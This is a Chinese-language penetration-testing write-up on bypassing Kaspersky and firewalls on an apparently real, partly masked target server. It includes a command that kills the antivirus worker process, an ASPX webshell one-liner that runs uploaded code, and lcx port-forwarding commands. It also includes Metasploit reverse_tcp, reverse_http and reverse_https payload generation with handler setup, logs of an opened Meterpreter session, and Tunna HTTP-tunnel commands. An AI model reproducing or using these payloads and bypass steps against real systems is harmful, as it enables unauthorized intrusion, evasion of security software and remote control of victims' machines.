文章来源 : 潇湘安全
0x01 前言
绕过卡巴获取会话:
kavfswp.exe是卡巴斯基反病毒工作进程,用于拦截恶意程序,如常见的提权EXP、MSF载荷等,不过在测试中发现可以结束这个进程(有自启动),就是在结束这个进程几秒后又会自动运行这个进程,但中间会间隔几秒,利用间隔时间快速将MSF载荷上传上去并运行即可。
taskkill /f /im kavfswp.exe
在实际测试过程中我们已经把Kaspersky杀毒防护关掉后仍然无法正常转发,所以猜测可能开启了系统防火墙或者是有什么其他硬件防火墙,在这次绕过案例中测试了以下工具和方法。
0x02 Lcx
C:\Recovery\lcx.exe -listen 51 1234
C:\Recovery\lcx.exe -slave 113.xxx.xx.5 51 127.0.0.1 3389
[option:]
-listen 连接端口<ConnectPort> 发送端口<TransmitPort>
-tran 连接端口<ConnectPort> 发送主机<TransmitHost> 发送端口<TransmitPort>
-slave 连接主机<ConnectHost> 连接端口<ConnectPort> 发送主机<TransmitHost> 发送端口<TransmitPort>
基友@KoMas提示:使用Lcx工具转发时可以把监听端口改为80即可绕过防火墙限制,在测试时得注意查看下本地80端口是否被占用,如果被占用则会返回错误,缺图。(Success !)
0x03 Aspx Client
<%@ Page Language="C#" ValidateRequest="false" %>
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["psw"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
C:\Recovery\lcx.exe -listen 52 1234
[+] Listening port 52 ......
[+] Listen OK!
[+] Listening port 1234 ......
[+] Listen OK!
[+] Waiting for Client on port:52 ......
0x04 Metasploit
使用Metasploit生成攻击载荷并执行监听,然后将攻击载荷port.exe文件通过Webshell上传到目标磁盘并执行,可以看到一样被防火墙拦截了,如下图所示。
root@dix1:~# msfpayload windows/meterpreter/reverse_tcp LHOST=113.***.**.250 LPORT=12345 X > /media/hake/port.exe
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.10
msf exploit(handler) > set LPORT 12345
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.1.10:12345
[*] Starting the payload handler...
在《Metasploit bind_tcp实战应用》文中的注意事项提过:如果reverse_tcp反向连接被拦截后再尝试更换端口80、443、8080,这几个端口很少会被拦截,经过实际测试发现只需将监听端口改为80即可绕过防火墙限制获得Meterpreter会话。(Success !)
使用bind_tcp正向连接测试时使用的9999监听端口,在运行攻击载荷后目标主机开放了9999端口,但并没有与我们的攻击机IP建立TCP连接。
root@dix1:~# msfpayload windows/meterpreter/bind_tcp LPORT=9999 X > /media/hake/port.exe
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
msf exploit(handler) > set RHOST 80.**.**.21
msf exploit(handler) > set LPORT 9999
msf exploit(handler) > exploit
[*] Started bind handler
[*] Starting the payload handler...
Metasploit_Reverse_http思路来源于90sec某大牛和DM_的一篇文章“metasploit内网渗透小记”,但是在实际测试中发现,使用其它端口一样会被防火墙拦截,如下图所示。
root@dix1:~# msfpayload windows/meterpreter/reverse_http LHOST=113.***.**.236 LPORT=4444 R | msfencode -t aspx -o /media/hake/port.aspx
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http
msf exploit(handler) > set LHOST 192.168.1.9
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit
[*] Started HTTP reverse handler on http://0.0.0.0:4444/
[*] Starting the payload handler...
基友@darkz3r提示,他一般都是使用443端口做为监听端口,抱着试一试的态度没想到还真成功了,据他说国外黑阔也经常用443端口来监听。
前边我们测试的Reverse_tcp监听端口1234和reverse_http监听端口4444都被防火墙拦截了,但在测试reverse_https监听端口4444时发现成功绕过防火墙限制获得Meterpreter会话,缺图。
root@dix1:~# msfpayload windows/meterpreter/reverse_https LHOST=113.***.**.106 LPORT=4444 X > /media/hake/test.exe
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST 192.168.1.9
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit
[*] Started HTTPS reverse handler on https://0.0.0.0:4444/
[*] Starting the payload handler...
[*] 113.***.**.106:2069 Request received for /5xWX...
[*] 113.***.**.106:2069 Staging connection for target /5xWX received...
[*] Patched user-agent at offset 663656...
[*] Patched transport at offset 663320...
[*] Patched URL at offset 663384...
[*] Patched Expiration Timeout at offset 664256...
[*] Patched Communication Timeout at offset 664260...
[*] Meterpreter session 3 opened (192.168.1.5:4444 -> 80.**.**.21:2069) at 2014-08-05 23:49:20 +0800
0x05 reDuh_Gui
reDuh_Gui工具支持脚本有:ASPX/PHP/JSP,在渗透测试过程中还得看目标主机支持哪些脚本,这里笔者测试的这台目标主机支持ASPX/PHP脚本,就拿ASPX脚本做了个演示测试,如下图所示。
0x06 Http_Tunna
我们经常用的reDuh、Tunna和reGeorg等都是正向代理,上传代理脚本到服务器端,本地程序去连接服务器上的脚本,脚本程序做代理转发端口和流量,也有人把这种方式叫端口复用,HTTP隧道。
root@dix1:~# ruby proxy.rb -u http://www.canton*********dolonne.fr/u_fichier/conn.aspx -l 1234 -r 3389 -v
msf > use exploit/windows/misc/tunna_exploit
msf exploit(tunna_exploit) > set PAYLOAD windows/meterpreter/bind_tcp
msf exploit(tunna_exploit) > set RHOST 113.***.**.236
msf exploit(tunna_exploit) > set TARGETURI http://www.canton*********dolonne.fr/u_fichier/conn.aspx
msf exploit(tunna_exploit) > set VERBOSE true
msf exploit(tunna_exploit) > exploit -j
0x07 Bypass Firewall
Ⅰ. 使用反向连接测试80/443等监听端口看是否能绕过防火墙限制。(Success !)
1. Lcx、2. Aspx Client、3.1 Reverse_tcp、3.3 Reverse_http、3.3 Reverse_https
3.2 Bind_tcp
4. reDuh_Gui、5. Http_Tunna、reGeorg、neo_reGeorg
如侵权请私聊公众号删文